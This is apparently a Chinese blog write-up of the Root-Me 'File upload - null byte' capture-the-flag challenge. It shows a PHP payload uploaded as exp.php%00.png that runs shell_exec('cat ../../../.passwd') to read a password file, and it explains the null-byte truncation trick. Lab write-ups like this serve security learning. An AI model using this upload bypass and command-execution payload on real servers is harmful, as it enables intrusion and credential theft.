【Root-Me】 File upload - null byte



这题和【Web-Server : File upload - double extensions】、【Web-Server : File upload - MIME type】的渗透思路是一样的,区别在于之前的两种绕过方式均被封锁了。

这次提示的绕过方式是空字节漏洞 null byte ,依然在文件名上做文章,构造 payloads 文件 exp.php%00.png

<?php
    // exp.php%00.png
    // 假如这个文件上传成功,则可以利用 web 打开这个文件进行解析时进行路径穿越
    $content = shell_exec('cat ../../../.passwd');
    echo "<pre>$content</pre>";
?>

此文件名在上传时,可以在前端后缀欺骗,而后端在读取时遇到 %00 空字节会截断后面部分。

上传成功后获得 exp.php%00.png 文件的完整 URI,手工去掉末尾的 %00.png 后拼接到 URL,即可获得密码,完成挑战。


答案下载

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
 上一篇
【Root-Me】 PHP type juggling 【Root-Me】 PHP type juggling
来源:Root-Me 题型:Web-Server 题目:PHP type juggling 分数:30 Points 前置知识 这题无法在网页上解题,推荐用 Burp Suite 。 题目提示是 PHP loose comparis
2019-06-19
下一篇 
【Root-Me】 File - PKZIP 【Root-Me】 File - PKZIP
来源:Root-Me 题型:Cryptanalysis 题目:File - PKZIP 分数:15 Points 送分题。 开启挑战后下载了一个加密的压缩包,让我们破解压缩包的密码。 题目提示是 PKZIP 压缩格式,而且给了一份 [
2019-06-15
  目录